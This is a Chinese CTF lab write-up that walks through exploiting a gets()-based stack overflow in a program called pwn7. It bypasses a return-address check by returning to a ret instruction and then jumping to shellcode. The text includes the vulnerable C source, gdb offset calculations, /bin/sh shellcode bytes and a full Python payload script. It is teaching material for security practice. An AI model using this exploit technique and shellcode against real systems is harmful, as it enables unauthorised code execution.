CTF PWN练习之绕过返回地址限制

合天网安实验室

先介绍一些这个实验要知道的一些东西

builtin_return_address函数

builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。

本文涉及相关实验:《PWN练习之绕过返回地址限制》

先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh:

\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81

请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。

因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些

我们先进行代码审计。

使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码:

\#include <stdio.h>

\#include <stdlib.h>

\#include <unistd.h>

void getpath()

{

char buffer[64];

unsigned int ret;

printf("input path please: ");

fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if ((ret & 0xbf000000) == 0xbf000000)

{

printf("bzzzt (%p)\n", ret);

_exit(1);

}

printf("got path %s\n", buffer);

}

int main(int argc, char** argv)

{

getpath();

return 0;

}

getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。

执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。

我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数:

图片1.png

上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有:

0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。

也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。

这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为:

0x080484e9 <+117>: ret

那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的:

图片2.png

在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。

同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下:

图片3.png

在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下:

shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" +

"\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" +

"\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" +

"\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81")

print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode

在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:

图片4.png

PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。

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